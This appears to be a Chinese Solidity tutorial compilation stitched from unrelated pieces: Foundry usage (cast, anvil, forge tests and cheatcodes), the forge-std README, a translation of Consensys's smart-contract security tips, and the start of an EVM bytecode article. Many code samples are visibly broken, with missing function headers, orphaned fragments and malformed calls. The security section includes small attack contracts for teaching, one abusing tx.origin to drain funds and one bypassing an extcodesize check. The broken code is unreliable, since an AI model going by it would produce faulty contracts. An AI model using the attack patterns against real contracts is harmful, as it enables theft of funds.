
cast --from-rlp

```

## Tips

### 设置ETH_PRC_URL
将环境变量的`ETH_PRC_URL`设置为 `--rpc-url` 你就不需要在每个命令行后面增加  `--rpc-url=$RPC_MAIN`  我这里直接设置为主网

### 设置ETHERSCAN_API_KEY
设置`ETHERSCAN_API_KEY`环境变量可以直接代替 `--etherscan-api-key`

### JSON格式化

加上 `--json`  可以格式化输出

```shell
```

## Anvil本地节点的使用

### 基本命令行

anvil 跟

hardhat 还有 truffle中的ganache都是一样的，是一个本地的eth节点，同样拥有各种fork的功能。

```shell
anvil 
anvil --accounts=<NUM> --balance=<NUM> 
anvil --mnemonic=<MNEMONIC> 
anvil --fork-url=$RPC --fork-block-number=<BLOCK>
```

### PRC的使用

```shell
anvil_* -> hardhat_* 

anvil_impersonateAccount 

anvil_setStorageAt
```

## Forge命令行进阶的使用

代码存放在`WTFSolidity/Topics/Tools/TOOL07_Foundry/hello_wtf`

代码目录树如下：

```shell
.
├── broadcast
│   └── Counter.s.sol 
├── foundry.toml        # foundry配置文件
├── lib
│   └── forge-std
├── node_modules        # 使用npm依赖包目录，你也可以直接使用forge install
│   └── @openzeppelin
├── package-lock.json
├── package.json
├── script
│   └── Counter.s.sol   # 脚本合约
├── src
│   └── Counter.sol
└── test
    ├── Counter.t.sol
    └── Test.t.sol      # 测试合约
```

### 初始化项目
```shell

forge init <dir_name> 

forge init --template <template_path> <dir_name>

```

## 热更新

```shell
forge build -w
```

### 测试

```shell
# 三个v会现实详细的log信息
forge test -vvv
# 热更新模式
forge test -vvv -w

# log打印 需要 - vv 2个v以上才可以
```

使用 console2.log("test") 来打印

```js

function testSetNumber(uint256 x) public {
        console2.log("testNumber: %s==============", x);
       
       counter.setNumber(x);
    }
```

使用 emit log 来打印

```js
function testNumberIs42() public {
        emit log("test");
        assertEq(testNumber, 42);
    }
```

改变状态

```js

function testCheatCode()public
console2.Log("before:"block.timestamp);
vm.warp(1000);
console2.log("after:"block.timestamp);

```

改变msg.sender 【可以模拟管理员账户】

```js
// 只有第一次有影响
vm.prank(address)

// 多次影响
vm.startPrank(address)
...code
vm.stopPrank()

```

改变存储状态

```js
function testCheatCode()public{
	console2.Log("before:"alice.balance);
	vm.deal(alice,1 ether);
	console2.Log("after:"alice.balance);
}

```

## 安装插件

### 使用forge安装插件

```shell
forge install [OPTIONS] <github username>/<github project>@<tag>
```

### 使用npm安装插件

```shell
npm init -y
npm i @openzeppelin/contracts 
// yarn add @openzeppelin/contracts
```

安装完成之后需要配置`foundry.toml`方法，在libs中添加 `node_modules`文件夹。

```toml
[profile.default]
src = 'src'
out = 'out'
libs = ['lib','node_modules']
```

## 测试一

新建`test/Test.t.sol`

```js
// SPDX-License-Identifier: SEE LICENSE IN LICENSE

import

"forge-std/Test.sol";
import "../src/Counter.sol";
// 导入IERC20的接口，通过该接口可以调用对应的方法
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract IERC20Test is Test {
  // 声明Counter合约对象变量
  Counter public counter;
  // 声明一个地址变量
  address public alice;
  // 声明一个msgSender
  address public msgSender;
  // 声明帮助合约函数
  Helper public h;

  //定义一个IERC20 合约对象
  IERC20 public dai;

  function setUp() public {
    // new测试合约对象
    counter = new Counter();
    // 调用对象方法
    counter.setNumber(0);
    // new helper对象
    h = new Helper();

    alice = address(10086);
    console2.log(alice);
    dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
  }

  // 测试给合约地址转账
  function testCheatCode() public {
    console2.log("before:", dai.balanceOf(alice));
    deal(address(dai), alice,1 ether);
    console2.log("after:", dai.balanceOf(alice));
  }
  // 测试改变合约msg.sender
  function testCheatAddress() public {
    console2.log("before:", h.whoCalled());
    vm.prank(address(1));
    console2.log("after:", h.whoCalled());
  }
}

contract Helper {
  function whoCalled() public view returns (address) {
    return msg.sender;
  }
}
```

运行测试：

因为本地没有dai的部署合约，所以我们直接fork主网，

-vvv可以现实console2.log，-w表示watch模式。

```shell
forge test -vvv --fork-url=$ETH_RPC_URL -w
```

输出结果：

```shell
Running 2 tests for test/Test.t.sol:IERC20Test
[PASS] testCheatAddress() (gas: 12873)
Logs:
  0x0000000000000000000000000000000000002766
  before: 0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84
  after: 0x0000000000000000000000000000000000000001

[PASS] testCheatCode() (gas: 153596)
Logs:
  before: 0
  after: 1000000000000000000

Test result: ok. 2 passed; 0 failed; finished in 5.61s
```

### 代码中fork网络

```js
function testCodeFork() public {
    console2.log(address(dai));
    string memory rpc = vm.envString("ETH_RPC_URL");
    uint256 mainnet = vm.createFork(rpc);
    vm.selectFork(mainnet);
    // 这边下面开始就是直接fork网络了
    console2.log("before:",dai.balanceOf(alice));
    deal(address(dai),alice,1 ether);
    console2.log("after:",dai.balanceOf(alice));
  }
```

### 从代码中读取环境变量

```js
// 通过 vm.envAddress 获取环境变量中的地址
    dai = IERC20(vm.envAddress("DAI"));
```

### 完整代码

```js

import

    // 调用对象方法

    // 通过 vm.envAddress 获取环境变量中的地址
  }

  }
  }

  function testCodeFork() public {
    uint256 mainnet =

vm.createFork(rpc);
  }

}

  }
}
```

### vm.sol

`vm.sol` 中还有很多封装好的方法可以直接使用

```js
// Sets the *next* call's msg.sender to be the input address
    function prank(address) external;
    // Sets all subsequent calls' msg.sender to be the input address until `stopPrank` is called
    function startPrank(address) external;
    // Sets the *next* call's msg.sender to be the input address, and the tx.origin to be the second input
    function prank(address,address) external;
    // Sets all subsequent calls' msg.sender to be the input address until `stopPrank` is called, and the tx.origin to be the second input
    function startPrank(address,address) external;
    // Resets subsequent calls' msg.sender to be `address(this)`
    function stopPrank() external;
    // Sets an address' balance, (who, newBalance)
    function deal(address, uint256) external;
    // Sets an address' code, (who, newCode)
    function

etch(address, bytes calldata) external;
    // Expects an error on next call
    function expectRevert(bytes calldata) external;
    function expectRevert(bytes4) external;
    function expectRevert() external;
    // Records all storage reads and writes
    function record() external;
    // Gets all accessed reads and write slot from a recording session, for a given address
    function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes);
```

##  运行脚本

```shell
forge script [OPTIONS] <PATH> [ARGS]...
```

`script/Counter.s.sol` 脚本代码

```js

import "forge-std/Script.sol";

// 每次初始化会运行
        console2.log("setup ");
    }

        vm.broadcast();
        console2.log("run");
    }

    function someFunction(uint256 x) public {
        console2.log("some other func");
        console2.log(x);
    }
}

```

指定方法，带参数的测试运行

```shell
forge script script/Counter.s.sol --sig="someFunction(uint256 x)" 10
```

## 脚本部署合约

编写部署脚本：
```shell
//

SPDX-License-Identifier: UNLICENSED

// 引入合约

    }

        vm.startBroadcast();
		//生成合约对象
        Counter c = new Counter();

        vm.stopBroadcast();
    }

}

```

测试部署：

```shell
forge script script/Counter.s.sol -vvvv --rpc-url=http://127.0.0.1:8545
```

正式部署：

```
forge script script/Counter.s.sol -vvvv --rpc-url=http://127.0.0.1:8545 --broadcast --private-key=privete_key
```

部署完成之后会多一个broadcast文件夹，查看该文件夹有`run-latest.json`可以看到部署的相应信息。

### 部署多个网络

使用fork代码可以部署多个网络

```js
uint256 mainnet = vm.createFork(rpc);
```

## Tips： 

```shell
forge test --gas-report

forge inspect

# 对比gas是否减少

forge snapshot

forge snapshot --diff 

# 交互式Debugger
forge script script/Counter.s.sol --debug

# 链上交易debugger
forge run --debug

```

## 总结

这一讲我们介绍了以Solidity为中心的开发工具，并介绍了如何利用Foundry编译，部署，测试智能合约。由于Foundry的部署和测试脚本都是用Solidity编写，免去了开发者学习javascript的时间成本，并提供了更多练习Solidity的机会，推荐大家使用。

## 参考
[使用 foundry

框架加速智能合约开发](https://www.youtube.com/watch?v=EXYeltwvftw) 
[cast Commands - Foundry Book](https://book.getfoundry.sh/reference/cast/)
[https://twitter.com/wp__lai](https://twitter.com/wp__lai)

# Forge Standard Library • [![tests](https://github.com/brockelmore/forge-std/actions/workflows/tests.yml/badge.svg)](https://github.com/brockelmore/forge-std/actions/workflows/tests.yml)

Forge Standard Library is a collection of helpful contracts for use with [`forge` and `foundry`](https://github.com/foundry-rs/foundry). It leverages `forge`'s cheatcodes to make writing tests easier and faster, while improving the UX of cheatcodes.

**Learn how to use Forge Std with the [📖 Foundry Book (Forge Std Guide)](https://book.getfoundry.sh/forge/forge-std.html).**

## Install

```bash
forge install foundry-rs/forge-std
```

## Contracts
### stdError

This is a helper contract for errors and reverts. In `forge`, this contract is particularly helpful for the `expectRevert` cheatcode, as it provides all compiler builtin errors.

See the contract itself for all error codes.

#### Example usage

contract TestContract is Test {
    ErrorsTest test;

        test = new ErrorsTest();
    }

    function testExpectArithmetic() public {
       
       vm.expectRevert(stdError.arithmeticError);
        test.arithmeticError(10);
    }
}

contract ErrorsTest {
    function arithmeticError(uint256 a) public {
        uint256 a = a - 100;
    }
}
```

### stdStorage

This is a rather large contract due to all of the overloading to make the UX decent. Primarily, it is a wrapper around the `record` and `accesses` cheatcodes. It can *always* find and write the storage slot(s) associated with a particular variable without knowing the storage layout. The one _major_ caveat to this is while a slot can be found for packed storage variables, we can't write to that variable safely. If a user tries to write to a packed slot, the execution throws an error, unless it is uninitialized (`bytes32(0)`).

This works by recording all `SLOAD`s and `SSTORE`s during a function call. If there is a single slot read or written to, it immediately returns the slot. Otherwise, behind the scenes, we iterate through and check each one (assuming the user passed in a `depth` parameter). If the variable is a struct, you can pass in a `depth` parameter which is basically the field depth.

I.e.:
struct T {
    // depth 0
    uint256 a;
    // depth 1
    uint256 b;
}
```

#### Example

usage

    using stdStorage for StdStorage;

    Storage test;

        test = new Storage();
    }

    function testFindExists() public {
        // Lets say we want to find the slot for the public
        // variable `exists`. We just pass in the function selector
        // to the `find` command
        uint256 slot = stdstore.target(address(test)).sig("exists()").find();
        assertEq(slot, 0);
    }

    function testWriteExists() public {
        // Lets say we want to write to the slot for the public
        // to the `checked_write` command
        stdstore.target(address(test)).sig("exists()").checked_write(100);
        assertEq(test.exists(), 100);
    }

    // It supports arbitrary storage layouts, like assembly based storage locations
    function testFindHidden() public {
        // `hidden` is a random hash of a bytes, iteration through slots would
        // not find it. Our mechanism does
        // Also, you can use the selector instead of a string
        uint256 slot = stdstore.target(address(test)).sig(test.hidden.selector).find();
        assertEq(slot, uint256(keccak256("my.random.var")));
    }

   // If targeting a mapping, you have to pass in the keys necessary to perform the find
    // i.e.:
    function testFindMapping() public {
        uint256 slot = stdstore
            .target(address(test))
            .sig(test.map_addr.selector)
            .with_key(address(this))
            .find();
        // in the `Storage` constructor, we wrote that this address' value was 1 in the map
        // so when we load the slot, we expect it to be 1
        assertEq(uint(vm.load(address(test), bytes32(slot))), 1);
    }

    // If the target is a struct, you can specify the field depth:
    function testFindStruct() public {
        // NOTE: see the depth parameter - 0 means 0th field, 1 means 1st field, etc.
        uint256 slot_for_a_field = stdstore
            .sig(test.basicStruct.selector)
            .depth(0)
            .find();

        uint256 slot_for_b_field = stdstore
            .depth(1)
            .find();

        assertEq(uint(vm.load(address(test), bytes32(slot_for_a_field))), 1);
        assertEq(uint(vm.load(address(test), bytes32(slot_for_b_field))), 2);
    }
}

// A complex storage contract
contract Storage {
    struct UnpackedStruct {
        uint256 a;
        uint256 b;
    }

        map_addr[msg.sender] = 1;
    }

   uint256 public exists = 1;
    mapping(address => uint256) public map_addr;
    // mapping(address => Packed) public map_packed;
    mapping(address => UnpackedStruct) public map_struct;
    mapping(address => mapping(address => uint256)) public deep_map;
    mapping(address => mapping(address => UnpackedStruct)) public deep_map_struct;
    UnpackedStruct public basicStruct = UnpackedStruct({
        a: 1,
        b: 2
    });

    function hidden() public view returns (bytes32 t) {
        // an extremely hidden storage slot
        bytes32 slot = keccak256("my.random.var");
        assembly {
            t := sload(slot)
        }
    }
}
```

### stdCheats

This is a wrapper over miscellaneous cheatcodes that need wrappers to be more dev friendly. Currently there are only functions related to `prank`. In general, users may expect ETH to be put into an address on `prank`, but this is not the case for safety reasons. Explicitly this `hoax` function should only be used for address that have expected balances as it will get overwritten. If an address already has ETH, you should just use `prank`. If you want to change that balance explicitly, just use `deal`. If you want to do both, `hoax` is also right for you.

#### Example usage:

//

// Inherit the stdCheats
contract StdCheatsTest is Test {
    Bar test;
        test = new Bar();
    }

    function testHoax() public {
        // we call `hoax`, which gives the target address
        // eth and then calls `prank`
        hoax(address(1337));
        test.bar{value: 100}(address(1337));

        // overloaded to allow you to specify how much eth to
        // initialize the address with
        hoax(address(1337), 1);
        test.bar{value: 1}(address(1337));
    }

    function testStartHoax() public {
        // we call `startHoax`, which gives the target address
        // eth and then calls `startPrank`
        //
        // it is also overloaded so that you can specify an eth amount
        startHoax(address(1337));
        test.bar(address(this));
    }
}

contract Bar {
    function bar(address expectedSender) public payable {
        require(msg.sender == expectedSender, "!prank");
    }
}
```

### Std Assertions

Expand upon the assertion functions from the `DSTest` library.

### `console.log`

Usage follows the same format as

[Hardhat](https://hardhat.org/hardhat-network/reference/#console-log).
It's recommended to use `console2.sol` as shown below, as this will show the decoded logs in Forge traces.

// import it indirectly via Test.sol
// or directly import it
import "forge-std/console2.sol";
...
console2.log(someValue);
```

If you need compatibility with Hardhat, you must use the standard `console.sol` instead.
Due to a bug in `console.sol`, logs that use `uint256` or `int256` types will not be properly decoded in Forge traces.

...
console.log(someValue);
```

## Metamask项目方给Solidity程序员的16个安全建议

**原文**：[Solidity Best Practices for Smart Contract Security](https://consensys.net/blog/developers/solidity-best-practices-for-smart-contract-security/)

**原文作者**：Consensys（metamask项目方）

**翻译**：[0xAA](https://twitter.com/0xAA_Science)

**Github**: [WTFSolidity](https://github.com/AmazingAng/WTFSolidity)

> 写在前面：
>
> 这是Metamask项目方（Consensys）在2020年8月写的一篇博客，关于智能合约安全，其中给了Solidity程序员16条安全建议，并包含代码样例。
>
> 这篇文章写于一年半前，那时候solidity版本才到0.5,现在已经是0.8了，很多函数都不同。但很多建议至今仍然适用，读完对我帮助很大。我在网上没找到中文翻译，就简单翻译了一下，并标明了版本差异可能导致的问题，供中文开发者学习。
>
> 这篇文章的安全理念也融入到WTF Solidity极简入门教程中。
>
> By 0xAA

如果您已经牢记智能合约的安全理念并且正在处理`EVM`的特性，那么是时候考虑一​​些特定于`Solidity`编程语言的安全模式了。在本综述中，我们将重点关注`Solidity`的安全开发建议，这些建议也可能对用其他语言开发智能合约具有指导意义。 

好了，让我们开始吧。

## 1. 正确使用 `assert(), require(), revert()`
便利函数 `assert` 和 `require` 可用于检查条件，如果条件不满足则抛出异常。

`assert` 函数只能用于测试内部错误和检查不变量。 

应该使用 `require` 函数来确保满足有效条件，例如输入或合约状态变量，或者验证来自外部合约调用的返回值。 （`0xAA注:

solidity在0.8.4版本引入自定义error功能，所以这个版本之前用require，之后用revert-error来确保满足有效条件`）

遵循这种范式可以让形式化分析工具来验证无效操作码永远不会被运行：这意味着代码中没有不变量被违反并且被形式化验证。
```
pragma solidity ^0.5.0;

contract Sharer {
    function sendHalf(address payable addr) public payable returns (uint balance) {
        require(msg.value % 2 == 0, "偶数required."); //Require() 可以加一个自定义消息
        uint balanceBeforeTransfer = address(this).balance;
        (bool success, ) = addr.call.value(msg.value / 2)("");
        require(success);
        // 如果success为false，就revert。下面的总是成立。
        assert(address(this).balance == balanceBeforeTransfer - msg.value / 2); // used for internal error checking
    }
}
```

## 2. `modifier`仅用于检查
修饰符（`modifier`）内的代码通常在函数体之前执行，因此任何状态更改或外部调用都会违反 `Checks-Effects-Interactions`模式。此外，开发人员也可能不会注意到这些语句，因为修饰符的代码可能远离函数声明。例如，修饰符的外部调用可能导致重入攻击：
```
contract Registry {
    address owner;

    function isVoter(address _addr) external returns(bool) {
        // Code
    }
}

contract Election {
    Registry registry;

    modifier isEligible(address _addr) {
        require(registry.isVoter(_addr));
        _;
    }

    function vote() isEligible(msg.sender) public {
        // Code
   
   }
}
```
在这种情况下，`Registry`合约可以通过调用`isVoter()`中的`Election.vote()` 进行重入攻击。

注意：使用`modifier`替换多个函数中的重复条件检查，例如 `isOwner()`，否则在函数内部使用`require`或`revert`。这使您的智能合约代码更具可读性和更易于审计。

## 3. 注意整数除法的舍入
所有整数除法都向下舍入到最接近的整数。如果您需要更高的精度，请考虑使用乘数，或同时存储分子和分母。

（将来，`Solidity` 会有浮点类型，这会让这更容易。）
```
// bad
uint x = 5 / 2; // Result is 2, all integer divison rounds DOWN to the nearest integer
```
使用乘数可以防止四舍五入，在将来使用 x 时需要考虑这个乘数：
```
// good
uint multiplier = 10;
uint x = (5 * multiplier) / 2;
```
存储分子和分母意味着你可以计算 numerator/denominator 链下的结果：
```
// good
uint numerator = 5;
uint denominator = 2;
```

## 4. 注意抽象合约`abstract`和接口`interface`之间的权衡
接口和抽象合约都为智能合约提供了一种可定制和可重用的方法。`Solidity 0.4.11`中引入的接口类似于抽象合约，但不能实现任何功能。接口也有限制，例如不能访问存储或从其他接口继承，这通常使抽象合约更实用。虽然，接口对于在实现之前设计合约肯定有用。此外，重要的是要记住，如果合约继承自抽象合约，它必须通过覆盖实现所有未实现的功能，否则它也将是抽象的。

## 5. Fallback function 后备函数
> 0xAA注：`Solidity 0.5.0`时还没有`receive`函数且`fallback`函数当时也直接声明为`function()`。关于最新版本的`fallback`函数教程，请看[链接](https://mirror.xyz/ninjak.eth/EroVZqHW1lfJFai3umiu4tb9r1ZbDVPOYC-puaZklAw)
### 保持fallback function简单
当合约被发送一个没有参数的消息（或者没有函数匹配）或，`fallback

function`会被调用。当被`.send()`或`.transfer`触发时，`fallback function`只能访问`2300 gas`。如果您希望能够从`send()`或`.transfer()`接收`ETH`，那么您在后备函数中最多可以做的就是记录一个事件。如果需要计算更多`gas`，请使用适当的函数。
```
// bad
function() payable { balances[msg.sender] += msg.value; }

// good
function deposit() payable external { balances[msg.sender] += msg.value; }

function() payable { require(msg.data.length == 0); emit LogDepositReceived(msg.sender); }
```

### 检查回退函数中的数据长度
由于 `fallback function` 不仅在普通以太传输（没有`msg.data`）时调用，并且也在没有其他函数匹配时调用，如果后备函数仅用于记录接收到的`ETH`，则应检查数据是否为空。否则，如果你的合约使用不正确，调用了不存在的函数，调用者将不会注意到。
```
// bad
function() payable { emit LogDepositReceived(msg.sender); }

// good
```

## 6. 显式标记应付函数和状态变量
从 `Solidity 0.4.0`开始，每个接收以太币的函数都必须使用 `payable`修饰符，否则如果交易有`msg.value > 0` 将被`revert`。

**注意**：可能不明显的事情： `payable` 修饰符仅适用于来自 `external` 合约的调用。如果我在同一个合约的`payable`函数中调用了一个非`payable`函数，这个非`payable`函数不会失败，尽管 `msg.value`不为零。

## 7. 显式标记函数和状态变量的可见性
明确标记函数和状态变量的可见性。函数可以指定为 `external`，

`public`，`internal`或`private`。请理解它们之间的差异，例如，`external`可能足以代替 `public`。而对于状态变量，`external`是不用的。明确标记可见性将更容易捕捉关于谁可以调用函数或访问变量的错误。

1. `External`函数是合约接口的一部分。`external`函数`f`不能在内部调用（即`f()` 不工作，但 `this.f()` 工作）。外部函数在接收大量数据时效率更高。

2. `Public`函数是合约接口的一部分，既可以在内部调用，也可以通过消息调用。对于公共状态变量，会生成一个自动 `getter` 函数。

3. `Internal` 函数和状态变量只能在内部访问，不使用`this`.

4. `Private` 函数和状态变量仅对定义它们的合约可见，而在派生合约中不可见。 **注意**：合约内的所有内容对区块链外部的所有观察者都是可见的，甚至是 `Private` 变量。
```
// bad
uint x; // the default is internal for state variables, but it should be made explicit
function buy() { // the default is public
    // public code
}

// good
uint private y;
function buy() external {
    // only callable externally or using this.buy()
}

function utility() public {
    // callable externally, as well as internally: changing this code requires thinking about both cases.
}

function internalAction() internal {
    // internal code
}
```

## 8. 将编译指示锁定到特定的编译器版本
合约应该使用与它们经过最多测试的相同编译器版本和标志来部署。锁定 pragma 有助于确保合约不会被意外部署，例如使用可能具有更高风险未发现错误的最新编译器。合约也可能由其他人部署，并且 `pragma` 指示原作者预期的编译器版本。
```
// bad
pragma solidity ^0.4.4;

// good
pragma solidity 0.4.4;
```
**注意**：浮动

`pragma` 版本（即 `^0.4.25`）可以用`0.4.26-nightly.2018.9.25`编译，但不应使用`nightly`版本来编译生产代码。

**警告**：当合约打算供其他开发人员使用时，可以允许 `Pragma` 语句浮动，例如库或 `EthPM` 包中的合约。否则，开发人员需要手动更新编译指示才能在本地编译。

## 9. 使用事件来监控合约活动
有一种方法可以在部署后监控合约的活动是很有用的。实现这一点的一种方法是查看合约的所有交易，但这可能还不够，因为合约之间的消息调用不会记录在区块链中。此外，它只显示输入参数，而不是对状态进行的实际更改。事件也可用于触发用户界面中的功能。
```
contract Charity {
    mapping(address => uint) balances;

    function donate() payable public {
        balances[msg.sender] += msg.value;
    }
}

contract Game {
    function buyCoins() payable public {
        // 5% goes to charity
        charity.donate.value(msg.value / 20)();
    }
}
```
在这里， `Game` 合约将内部调用 `Charity.donate()`. 该交易不会出现在`Charity` 的外部交易列表中，而只在内部交易中可见。

事件是记录合约中发生的事情的便捷方式。发出的事件与其他合约数据一起留在区块链中，可供将来审计。这是对上述示例的改进，使用事件来提供慈善机构的捐赠历史。
```
    // define event
    event LogDonate(uint _amount);

        emit LogDonate(msg.value);
    }
}

    }
}
```
在这里，无论是否直接通过合约的所有交易都

`Charity` 将与捐赠的金额一起显示在该合约的事件列表中。

**注意**：优先使用更新的 Solidity 结构。首选结构/别名，例如 `selfdestruct` (而不是  `suicide`) 和 `keccak256` (而不是  `sha3`)。类似的模式 `require(msg.sender.send(1 ether))` 也可以简化为使用 `transfer()`，如 `msg.sender.transfer(1 ether)`. 查看 `Solidity` 更改日志 以了解更多类似更改。

## 10. 请注意，“内置”函数可能会被隐藏
目前可以 在 `Solidity` 中隐藏内置的全局变量。这允许合约覆盖内置插件的功能，例如 `msg` 和 `revert()`。尽管这是有意为之，但它可能会误导合约用户对合约的真实行为。

```
contract PretendingToRevert {
    function revert() internal constant {}
}

contract ExampleContract is PretendingToRevert {
    function somethingBad() public {
        revert();
    }
}
```
合约用户（和审计员）应该了解他们打算使用的任何应用程序的完整智能合约源代码。

## 11. 避免使用 tx.origin
永远不要 tx.origin 用于授权，另一个合约可以有一个方法来调用你的合约（例如，用户有一些资金）并且你的合约将授权该交易，因为你的地址位于`tx.origin`.
```
contract MyContract {

    function MyContract() public {
    }

    function sendTo(address receiver, uint amount) public {
        require(tx.origin == owner);
        (bool success, ) = receiver.call.value(amount)("");
    }

}

contract AttackingContract {

    MyContract myContract;
    address attacker;

    function AttackingContract(address myContractAddress) public {
       
       myContract = MyContract(myContractAddress);
        attacker = msg.sender;
    }

    function() public {
        myContract.sendTo(attacker, msg.sender.balance);
    }

}
```
您应该使用 `msg.sender` 授权（如果另一个合约调用您的合约 `msg.sender` 将是该合约的地址，而不是调用该合约的用户的地址）。

**警告**：除了授权问题外， `tx.origin` 将来有可能从以太坊协议中删除，因此使用的代码 `tx.origin` 将与未来版本不兼容. Vitalik：'不要假设 `tx.origin` 将继续存在。

还值得一提的是，通过使用 `tx.origin` 您会限制合约之间的互操作性，因为使用 `tx.origin` 的合约不能被另一个合约使用，因为合约不能是 `tx.origin.`

## 12. 时间戳依赖
使用时间戳执行合约中的关键功能时，有三个主要考虑因素，尤其是当操作涉及资金转移时。

### 时间戳操作
请注意，区块的时间戳可以由矿工操纵。考虑这个合约：
```
uint256 constant private salt =  block.timestamp;

function random(uint Max) constant private returns (uint256 result){
    //get the best seed for randomness
    uint256 x = salt * 100/Max;
    uint256 y = salt * block.number/(salt % 5) ;
    uint256 seed = block.number/3 + (salt % 300) + Last_Payout + y;
    uint256 h = uint256(block.blockhash(seed));

    return uint256((h / x)) % Max + 1; //random number between 1 and Max
}
```

当合约使用时间戳播种一个随机数时，矿工实际上可以在区块被验证后的 15 秒内发布一个时间戳，从而有效地允许矿工预先计算一个更有利于他们中奖机会的选项。时间戳不是随机的，不应在该上下文中使用。

## 13. 15秒规则
黄皮书 （Ethereum

的参考规范）没有规定多少块可以在时间上漂移的限制，但它确实规定每个时间戳应该大于其父时间戳。流行的以太坊协议实现 `Geth`和`Parity`都拒绝未来时间戳超过 15 秒的块。因此，评估时间戳使用的一个好的经验法则是：如果您的时间相关事件的规模可以变化 15 秒并保持完整性，那么可以使用`block.timestamp`.

### 避免 block.number 用作时间戳
可以使用 `block.number` 属性和 平均块时间来估计时间增量，但这不是未来的证据，因为出块时间可能会改变（例如 分叉重组 和 难度炸弹）。但在只持续几天的销售中，15秒规则允许人们获得更可靠的时间估计。

## 14. 多重继承注意事项
在 Solidity 中使用多重继承时，了解编译器如何构成继承图非常重要。
```
contract Final {
    function Final(uint f) public {
        a = f;
    }
}

contract B is Final {
    int public fee;

    function B(uint f) Final(f) public {
    }
    function setFee() public {
        fee = 3;
    }
}

contract C is Final {

    function C(uint f) Final(f) public {
    }
        fee = 5;
    }
}

contract A is B, C {
  function A() public B(3) C(5) {
      setFee();
  }
}
```
部署合约时，编译器将从右到左线性化继承（在关键字`is`之后 ，父项从最基类到最派生列出）。这是合约 `A` 的线性化：

`Final <- B <- C <- A`

线性化的结果将产生 `fee = 5` 的值，因为 `C` 是最接近衍生的合约。这似乎很明显，但想象一下 `C` 能够隐藏关键函数、重新排序布尔子句并导致开发人员编写可利用的合约的场景。静态分析目前不会引发被遮盖的函数的问题，因此必须手动检查。

为了帮助做出贡献，`Solidity` 的 `Github` 有一个包含所有继承相关问题的[项目](https://github.com/ethereum/solidity/projects/9#card-8027020)。

## 15.

使用接口类型而不是地址来保证类型安全
当函数将合约地址作为参数时，最好传递接口或合约类型而不是  纯`address`。因为如果函数在源代码的其他地方被调用，编译器将提供额外的类型安全保证。

在这里，我们看到了两种选择：
```
contract Validator {
    function validate(uint) external returns(bool);
}

contract TypeSafeAuction {
    // good
    function validateBet(Validator _validator, uint _value) internal returns(bool) {
        bool valid = _validator.validate(_value);
        return valid;
    }
}

contract TypeUnsafeAuction {
    // bad
    function validateBet(address _addr, uint _value) internal returns(bool) {
        Validator validator = Validator(_addr);
        bool valid = validator.validate(_value);
    }
}
```
 可以从下面示例中看出使用`TypeSafeAuction`合约的好处 。如果 `validateBet()` 使用 `address` 参数或合约类型而不是`Validator`合约类型，编译器将抛出此错误：
```
contract NonValidator{}

contract Auction is TypeSafeAuction {
    NonValidator nonValidator;

    function bet(uint _value) {
        bool valid = validateBet(nonValidator, _value); // TypeError: Invalid type for argument in function call.
                                                        // Invalid implicit conversion from contract NonValidator
                                                        // to contract Validator requested.
    }
}
```

## 16. 避免 `extcodesize`

用于检查外部拥有的帐户
以下修饰符（或类似的检查）通常用于验证调用是来自外部拥有的账户（`EOA`）还是合约账户：
```
// bad
modifier isNotContract(address _a) {
  uint size;
  assembly {
    size := extcodesize(_a)
  }
    require(size == 0);
     _;
}
```

这个想法很简单：如果一个地址包含代码，它就不是一个 `EOA`，而是一个合约账户。但是，合约在构建期间没有可用的源代码。这意味着在构造函数运行时，它可以调用其他合约，但 `extcodesize` 在它的地址返回零。下面是一个最小的例子，展示了如何绕过这个检查：
```
contract OnlyForEOA {    
    uint public flag;

    // bad
    modifier isNotContract(address _a){
        uint len;
        assembly { len := extcodesize(_a) }
        require(len == 0);
        _;
    }

    function setFlag(uint i) public isNotContract(msg.sender){
        flag = i;
    }
}

contract FakeEOA {
    constructor(address _a) public {
        OnlyForEOA c = OnlyForEOA(_a);
        c.setFlag(1);
    }
}
```
因为可以预先计算合约地址，所以如果它检查一个在 `block n` 处为空，但在`block n`之后被部署的合约，依然会失败。

**警告**：这个问题很微妙。如果您的目标是阻止其他合约调用您的合约，那么 `extcodesize` 检查可能就足够了。另一种方法是检查 的值 (`tx.origin == msg.sender`)`，尽管这也有缺点。

在其他情况下， `extcodesize` 可能会为您服务。在这里描述所有这些超出了范围。了解 `EVM` 的基本行为并使用您的判断。

# 深入以太坊虚拟机 Part1 — 汇编与字节码

> 原文：[Diving Into The Ethereum Virtual Machine | by Howard | Aug 6, 2017](https://blog.qtum.org/diving-into-the-ethereum-vm-6e8d5d2f3c30)

Solidity 提供了许多高级语言抽象，但是这些特性使得人们很难理解程序运行时到底发生了什么。阅读 Solidity 文档仍然使我对非常基本的事情感到困惑。

`string`，`bytes32`，`byte[]`，`bytes` 有什么区别？

* 我该使用哪一个？何时使用？
* 当我把 `string` 转换为 `bytes` 时会发生什么？能转换为 `byte[]` 吗？
* 它们费用是多少？

EVM 中如何存储映射(*mapping*)？

* 为什么不能删除一个映射？
* 可以使用映射的映射吗？（可以，但它是如何工作的？）
* 为什么有存储映射(*storage mapping*)但没有内存映射(*memory mapping*)？

编译后的合约对 EVM 来说是怎样的？

* 合约是如何创建的？
* 什么是 `constructor`​？真的吗？
* 什么是 `fallback` 函数？

我认为学习像 Solidity 这样的高级语言如何在以太坊 VM(EVM) 上运行是一项很好的投资。出于几个原因。

1. **Solidity 不是最后的语言**​。更好的 EVM 语言将会到来。
2. **EVM 是一个数据库引擎**。要了解智能合约如何以任何一门 EVM 语言工作，必须理解数据是如何组织、存储和操纵的。
3. **知道如何成为贡献者**。以太坊工具链还很早。深入了解 EVM 将会帮助您为自己和他人制作出色的工具。
4. **智力挑战**。EVM 为在密码学、数据结构和编程语言设计的交叉点上发挥作用提供了一个很好的机会。

在一系列文章中，我想解构简单的 Solidity 合约，以了解它是如何作为 EVM 字节码工作的。

希望学习和写的内容的大纲：

* EVM 字节码的基础知识
* 如何表示不同的类型（映射(*mapping*)、数组(*array*)）
* 创建新合约时发生了什么
* 方法被调用时发生了什么
* ABI 如何桥接不同的 EVM 语言

我的最终目标是能够完整地理解编译好的 Solidity 合约。让我们从阅读一些基本的 EVM 字节码开始吧！

这个 [EVM

指令集](https://gist.github.com/hayeah/bd37a123c02fecffbe629bf98a8391df) 将是一个有用的参考。

## A Simple Contract

我们的第一个合约有一个构造函数和一个状态变量：

// c1.sol
pragma solidity ^0.4.11;
	uint256 a;
